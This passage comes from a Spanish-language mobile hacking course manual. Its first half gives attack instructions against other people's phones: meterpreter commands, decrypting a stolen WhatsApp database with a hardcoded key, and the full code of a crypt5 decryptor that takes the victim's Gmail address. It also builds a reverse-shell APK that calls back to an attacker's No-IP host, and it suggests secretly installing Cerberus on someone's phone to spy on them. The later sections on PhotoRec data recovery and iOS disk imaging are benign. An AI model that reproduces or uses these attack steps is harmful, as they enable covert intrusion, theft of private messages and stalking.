Ahora descargaremos una foto a nuestro escritorio mediante el comando “download”. meterpreter > download 01.jpg /Users/drummerwolf/Desktop/hack/ meterpreter > download 01.jpg /tu_/ruta/
Así como robamos la base de datos de whatsapp en el iPhone lo haremos con la de Android, sin embargo, a diferencia de iOS la base de datos almacenada dentro de Android se encuentra encriptada y para eso usaremos un sencillo comando de OpenSSL para poder desencriptarla
Para usuarios de sistemas basados en UNIX es necesario tener OpenSSL instalado: Abrimos una terminal, nos situamos en la ruta donde tenemos nuestro archivo de base de datos con terminación .crypt y escribimos el siguiente comando openssl enc -‐d -‐aes-‐192-‐ecb -‐in msgstore-‐1.db.crypt -‐out msgstore.db.sqlite -‐ K 346a23652a46392b4d73257c67317e352e3372482177652c
En donde –in va a corresponder al nombre del archive de nuestra base que descargamos, -out sera el nombre del archivo que le daremos de salida y K sera la llave universal que se usa para desencriptar la base de datos
Gonzalo Sánchez Suárez - Drummer Wolf
48
Hackeo de dispositivos iOS y Android
Para las versiones mas nuevas de Whatsapp la base de datos se encuentra encriptada de forma diferente y esta tiene una terminación .crypt5 Para lograr desencriptarla usaremos un scrypt en python , sin embargo, para que este tenga éxito será necesario que sepamos la cuenta gmail asiociada a la terminal android
Para usarlo es tan sencillo como invocarlo así: - python pwncrypt5.py msgstore.db.crypt5 (cuenta de la víctima)@gmail.com > msgstore.sdb Y finalizo con el codiciado código:
pwncrypt5.py
Gonzalo Sánchez Suárez - Drummer Wolf
49
Hackeo de dispositivos iOS y Android
#!/usr/bin/python """ 48bits presents: 8===============================================D~~~ WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub 8===============================================D~~~ """ import sys import hashlib import StringIO from M2Crypto import EVP key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147]) iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0x BB,0xB6,0xB0,0xB9]) def decrypt(db,acc): fh = file(db,'rb') edb = fh.read() fh.close() m = hashlib.md5() m.update(acc) md5 = bytearray(m.digest()) for i in xrange(24): key[i] ^= md5[i&0xF] cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0) sys.stdout.write(cipher.update(edb)) sys.stdout.write(cipher.final()) if __name__ == '__main__': if len(sys.argv) != 3: print 'usage %s
> decrypted.db' % sys.argv[0] else: decrypt(sys.argv[1],sys.argv[2])
Gonzalo Sánchez Suárez - Drummer Wolf
50
Hackeo de dispositivos iOS y Android
Una de las alternatvas para poder desencriptar la base de datos es usando el sitio web https://www.recovermessages.com el cual hará todo el proceso por nosotros, sin embargo, si queremos ver la base de datos completa será necesario hacer un pequeño pago.
Si buscan un método mas fácil para desencriptar Se ha sacado esta muy útil herramienta para desencriptar las bases de whatsapp con terminación .cryp5 compatible con Windows La descargaremos del siguiente enlace https://github.com/andreas-‐ mausch/whatsapp-‐viewer/releases/download/v1.3/WhatsApp.Viewer.zip Una vez descargado el ejecutable, copiaremos nuestra base de datos obtenida dentro de la misma carpeta, ejecutaremos el programa, click en file>open y seleccionaremos el archivo
Gonzalo Sánchez Suárez - Drummer Wolf
51
Hackeo de dispositivos iOS y Android
Escribiremos la cuenta asociada a la terminal android y de esa forma podremos abrir el archivo
Listo! Nuestra base de datos ha sido desencriptada y lista para ser leida
Gonzalo Sánchez Suárez - Drummer Wolf
52
Hackeo de dispositivos iOS y Android
Explotación Remota (tutorial por Juan Angel Osorio Juarez m4ku4z)2 La explotación Remota consiste en poder infectar un dispositivo android , no importa en que estado de la republica o país se encuentre , con este tipo de explotación podremos obtener la sesión de “meterpreter” remota. Conociendo nuestra infraestructura (proveedor de servicio , Modem , Velocidad de conexión) Para poder hacer la explotación remota debemos conocer bien nuestra infraestructura de red y de proveedor de servicio de internet. -‐Modem modelo y conocer la entrada al panel de la configuración -‐Ethernet o WIFI? Cable rj45 o inalámbrico -‐Conexión De forma opcional debemos hacer una prueba de conexión para saber a cuantos megas navegamos. Suponiendo que contamos con un modem 2wire de Telmex y conociendo que es inalámbrico , procederemos a abrir los puertos mediante una sencilla configuración.
Gonzalo Sánchez Suárez - Drummer Wolf
53
Hackeo de dispositivos iOS y Android
Por lo regular la configuración del modem es a través de la ip “192.168.1.254” (obviamente debemos estar conectados) Abrimos nuestro navegador y nos dirigimos a la dirección “192.168.1.254” en algunos módems nos pedirá el usuario , el cual es “Telmex” y la contraseña es “la clave wep”.
Gonzalo Sánchez Suárez - Drummer Wolf
54
Hackeo de dispositivos iOS y Android
Ingresamos a la administración del modem .
Entramos a la configuración de “Bloqueo de Intrusos”.
Gonzalo Sánchez Suárez - Drummer Wolf
55
Hackeo de dispositivos iOS y Android
En este ejemplo la computadora del lado derecho llamada “Makuaz-‐ Private” es la que esta conectada a la red , ahí puede ser tu equipo y debes identificarlo con el nombre que le hayas puesto a tu pc .
Escojemos “Permitir todas las Aplicaciones (modo DMZplus (Zona desmilitarizada), y damos aceptar.
Gonzalo Sánchez Suárez - Drummer Wolf
56
Hackeo de dispositivos iOS y Android
Una vez hecho esto Reiniciamos el modem para que se apliquen los cambios.
Gonzalo Sánchez Suárez - Drummer Wolf
57
Hackeo de dispositivos iOS y Android
Una vez reiniciado vamos a verificar que dirección ip tenemos con la ayuda de google y la siguiente pagina : http://www.cual-‐es-‐mi-‐ip.net Ahora Copiamos y pegamos en nuestro navegador , y por ejemplo en mi caso esta abierto el puerto para mi NAS.
Con esto ya tenemos todos los puertos abiertos , ¿pero que pasa si reinicio mi modem y/o se va la luz? , es claro que la ip va a cambiar y la Gonzalo Sánchez Suárez - Drummer Wolf
58
Hackeo de dispositivos iOS y Android
explotación remota ya no funcionara ya que el apk infectado apunta a una ip en especifico y como ya no tenemos esa ip apuntando hacia nuestra pc y modem , dejara de funcionar. 3.6.2.-‐Conociendo el Servicio No-‐ip + creación y configuración de nuestro modem El Servicio no-‐ip nos proporciona un subdominio para poder utilizar nuestra ip , no importando si cambia. El registro es bastante sencillo a través de su pagina . http://www.noip.com Una vez registrado accede a “add-‐host” Escoges el nombre ejemplo: “apk_zombies” y el subdominio que gustes del lado derecho y da clic en “Add Host” y listo ya tienes un subdominio gratis apuntando a tu ip y tu pc.
Gonzalo Sánchez Suárez - Drummer Wolf
59
Hackeo de dispositivos iOS y Android
3.7.-‐Explotacion 100% remota. Una vez que tenemos configurado el modem en modo DMZ y el servicio No-‐ip apuntando a nuestro modem y pc , vamos a crear el apk infectado .... Pero esta vez en vez de poner ip vamos a poner el subdominio de No-‐ ip. Una vez en la carpeta de instalación de Metasploit usaremos el siguiente comando “./msfpayload android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-‐ IP LPORT=PUERTO R > /RUTA/nombre_de_la_app.apk” “./msfpayload android/meterpreter/reverse_tcp LHOST=apk_zombies.dominio.no-‐ ip.com LPORT=6789 R > /RUTA/hacking_mexico.apk” y listo seguimos los pasos anteriores.
Gonzalo Sánchez Suárez - Drummer Wolf
60
Hackeo de dispositivos iOS y Android
TEMA 3 Protegiendo tu Android contra robo Como algunos usuarios sabrán existen algunas apps dentro de la Play Store que sirven para “proteger” nuestro equipo Android contra pérdida o robo dándonos una serie de opciones que nos permiten desde localizar geográficamente nuestro Smartphone hasta borrarlo de forma remota. En este caso hablaré un poco sobre una aplicación en especial que debido a su amplio repertorio de funciones nos podría llegar a servir en un momento determinado para fines no tan buenos como para los que fue creada. Su nombre es cerberus y está disponible de manera gratuita dentro de la Play Store.
Si nos ponemos a darle un recorrido a las funciones de la aplicación podremos encontrar una amplia lista dentro de la que destacan: Tiene tres maneras de proteger su dispositivo: - Via control remoto a través de la página web www.cerberusapp.com - Via control remoto a través de de mensajes de textos SMS - SIM Checker (para los dispositivos que tienen una tarjeta SIM): recibirá automáticamente alertas si alguien utiliza su teléfono con una tarjeta SIM no autorizada El control remoto le permite realizar muchas operaciones en el dispositivo, como: - Localizar y rastrear su dispositivo - Iniciar una fuerte alarma, incluso si el dispositivo está en modo silencioso
Gonzalo Sánchez Suárez - Drummer Wolf
61
Hackeo de dispositivos iOS y Android
- Borra la memoria interna y de la tarjeta SD - Ocultar Cerberus del menu de las aplicaciónes - Bloquear el dispositivo con un código - Grabar audio desde el micrófono - Obtener una lista de los últimas llamadas enviadas y recibidas - Obtener información sobre la red y el operador a cual el dispositivo está conectado - Y mucho mas!
Sin embargo, todas estas funciones tan útiles no son grátis. El único requerimiento para poder explotar todo el potencial de la aplicación es mediante el ÚNICO pago de 2.99€ vendría siendo el equivalente a $54 pesos mexicanos, este será el único pago que se tendría que hacer para la creación de la cuenta y esta es de por vida. A continuación se muestran algunos ejemplos de la app en acción.
Gonzalo Sánchez Suárez - Drummer Wolf
62
Hackeo de dispositivos iOS y Android
Toda la información del dispositivo puede ser vista mediante la página web de www.cerberusapp.com y esta a su vez mandará correos al que se usó para el registro
Ahora, que pasaría si esta aplicación se la instalaras al teléfono de alguna persona cercana o no tan cercana a ti? Te imaginas la serie de posibilidades que podrías tener sobre un dispositivo de forma remota Como he dicho anteriormente, las herramientas pueden ser utilizadas para buenos o malos fines, simplemente se trata de que tan creativo sea uno para lograr sus objetivos y la ingeniería social que apliquen.
Gonzalo Sánchez Suárez - Drummer Wolf
63
Hackeo de dispositivos iOS y Android
MODULO 3: Recuperación de datos mediante consola 1.-‐Conociendo el Software “PhotoRec”
Es un software diseñado para recuperar archivos perdidos incluyendo videos, documentos y archivos de los discos duros y CDRoms así como imágenes perdidas (por eso el nombre PhotoRecovery) de las memorias de las cámaras fotográficas, MP3 players, PenDrives, etc. PhotoRec ignora el sistema de archivos y hace una búsqueda profunda de los datos, funcionando incluso si su sistema de archivos está muy dañado o ha sido re-‐formateado. Gonzalo Sánchez Suárez - Drummer Wolf
64
Hackeo de dispositivos iOS y Android
Disponiblidad :
2.-‐Instalacion y creación de Alias (sistemas Operativos Basados en Unix) Durante el curso se entrega el software “photorec” para su instalación , solo de debe colocar en la carpeta deseada. Ejemplo en OSX :
Gonzalo Sánchez Suárez - Drummer Wolf
65
Hackeo de dispositivos iOS y Android
Como se observa fue colocada en la carpeta “Aplicaciones” de OSX Colocar la carpeta en la ruta deseada para su uso. Ejecución en Windows : Doble Click en photorec_win.exe (32 y 64 bits) Ejecución en OSX : ./photorec (estar Posicionado en la carpeta de instalación) Comando completo : MacBook-‐Pro-‐de-‐Gonzalo:photorec Drummerwolf$ sudo ./photorec
Ejecución en Linux : en Unix/Linux/BSD, se necesita ser root para ejecutar PhotoRec (ej. sudo testdisk-‐6.9/linux/photorec_static)
Gonzalo Sánchez Suárez - Drummer Wolf
66
Hackeo de dispositivos iOS y Android
Creación de un alias (sistemas basados en unix) Para la creación de un alias se seguirán los mismos pasos de la página 33 que se usaron para la instalación de adb bundle
3.-‐Perdiendo/Borrando Datos en una USB/HDD Durante este ejercicio contamos con una Memoria USB marca Kingston y borraremos archivos dentro de ella. borrándolos :
Gonzalo Sánchez Suárez - Drummer Wolf
67
Hackeo de dispositivos iOS y Android
Consultora Hacking México 4.-‐Analizando los USB montados en nuestras computadoras Abrimos nuestra consola o terminal , y verificamos cual es el nombre que se le ha asignado a la usb : Ejemplo en OSX : MacBook-‐Pro-‐de-‐Gonzalo: $ df –h
Nota : hay muchos comandos en internet , simplemente utilize el comando df-‐h para ver las particiones y verifico que esta “Hm_USB” es la que quiero testear. Gonzalo Sánchez Suárez - Drummer Wolf
68
Hackeo de dispositivos iOS y Android
Ejemplo en Linux : Hay muchas maneras de hacerlo dependiendo la distribución que tengas. En este caso hemos usado el comando “mount” y vemos los dispositivos montados por el sistema .
Ejemplo en Windows : Tan sencillo como entrar > inicio > mi PC , y listamos las unidades ... con la vista
Gonzalo Sánchez Suárez - Drummer Wolf
69
Hackeo de dispositivos iOS y Android
4.1.-‐Recuperando los Datos Sistemas basados en UNIX : Abrimos nuestra terminal o consola y escribimos el alias que hemos asignado , si no hemos creado el alias pues solamente ejecutamos asi : “./photorec” En este ejemplo usare el comando “photorec” el cual corresponde al alias que yo he asignado. Enseguida deberá aparecer una terminal como esta:
Como se puede Observar se listan los dispositivos USB y de Disco Duros conectados , previamente se ha observado la usb conectada y su nombre asignado. En este ejemplo el nombre que se le ha asignado a la usb es : “/dev/rdisk2” Seleccionamos el dispositivo con las flechas del teclado y damos enter para que se accioné la opción proceed:
Gonzalo Sánchez Suárez - Drummer Wolf
70
Hackeo de dispositivos iOS y Android
A continuación se nos despliega una pantalla similar a esta donde se nos detalla la tabla de particiones (fat32) que tiene y el nombre que le hemos asignado (IRAIS_MM).
Escogemos en la parte de abajo “[Search]”. Ahora se nos muestra una pantalla donde se nos pregunta el tipo de partición con la que cuenta la usb o el disco duro. Photorec necesita saber que partición tiene y nos muestra en la parte de arriba el tipo de partición que tiene , en este caso escogeremos “FAT/NTFS/HFS+/ReiserFS/...”
Gonzalo Sánchez Suárez - Drummer Wolf
71
Hackeo de dispositivos iOS y Android
En la siguiente pantalla escogemos la opción “[Whole]” para que busque en toda la partición del usb o disco duro.
Se nos preguntara donde deseamos que ponga los archivos recuperados. En este caso he preparado una carpeta llamada “rescate_usb” en mi disco duro secundario para que ahí los deposite. Para finaliza tecleamos la letra “C” para decirle al software que el destino es el correcto. Y con esto empieza el Proceso de Recuperación en Segundo Plano.
Gonzalo Sánchez Suárez - Drummer Wolf
72
Hackeo de dispositivos iOS y Android
Solo nos resta esperar a que termine el Proceso por completo. 5.-‐Analisis de Datos Analizaremos los archivos recuperados. Directorios Recuperados
MP3 : Recuperados
Consultora Hacking México Imágenes Recuperadas :
Gonzalo Sánchez Suárez - Drummer Wolf
73
Hackeo de dispositivos iOS y Android
Archivos Recuperados :
Archivos Compresos :
Gonzalo Sánchez Suárez - Drummer Wolf
74
Hackeo de dispositivos iOS y Android
Windows : Ejecutamos “photorec_win.exe”
Practicamente son los mismos pasos que en los sistemas basados en UNIX así que seguiremos los pasos anteriores.
Gonzalo Sánchez Suárez - Drummer Wolf
75
Hackeo de dispositivos iOS y Android
ANÁLISIS FORENSE A UN DISPOSITIVO iOS En la realización de esta prueba se utilizará un iPod touch 2g de 8gb de capacidad
Si has perdido archivos e información dentro de tu iOS es posible recuperarlas y lo único que necesitaremos será lo siguiente: -
Dispositivo iOS con Jailbreak OpenSSH instalado en iOS Terminal instalada en iOS Servidor SSH instalado y configurado en tu computadora Utilidad ‘DD’ instalada en tu computadora (viene preinstalada en la mayoría de los sistemas basado en UNIX) Photorec instalado en tu computadora Conexión wifi
Pasos: -Desactivamos el autolock en el dispositivo iOS (configuración>general>Autolock>seleccionar “nunca” -Conectamos nuestro iOS a su cargador de corriente -Abrimos la terminal de nuestro iOS -Usamos el comando “su” para tener permisos de superusuario -Ejecutamos dd if=/dev/disk0 | ssh usuario@ip_computadora 'dd of=ipod.img' -En donde usuario será la cuenta de nuestra computadora que recibirá el archivo -Ip_computadora nuestra dirección ip Gonzalo Sánchez Suárez - Drummer Wolf
76
Hackeo de dispositivos iOS y Android
-Este comando es case sensitive, favor de introducirlo correctamente -No confundan ‘dd if=’ con ‘dd of=’ de lo contrario podrían reescribir la memoria de su iOS -Una vez iniciado el proceso este puede tardar horas, será cosa de ser paciente y esperar a que termine
En este caso se nos generó un archivo de imagen de 8gb aprox de tamaño
Pasaremos a hacer el análisis de la imagen de disco para lo cual teclearemos en nuestra consola (de forma directa si tenemos el alias de photorec previamente creado) sudo photorec /ruta_del_archivo.img
Gonzalo Sánchez Suárez - Drummer Wolf
77
Hackeo de dispositivos iOS y Android
Como se pueden dar cuenta, el proceso para recuperar los datos será el mismo que utilizamos para el de una usb normal
Gonzalo Sánchez Suárez - Drummer Wolf
78
Hackeo de dispositivos iOS y Android
Una vez finalizado el proceso tendremos nuestros archivos recuperados y solo necesitaremos analizarlos:
Gonzalo Sánchez Suárez - Drummer Wolf
79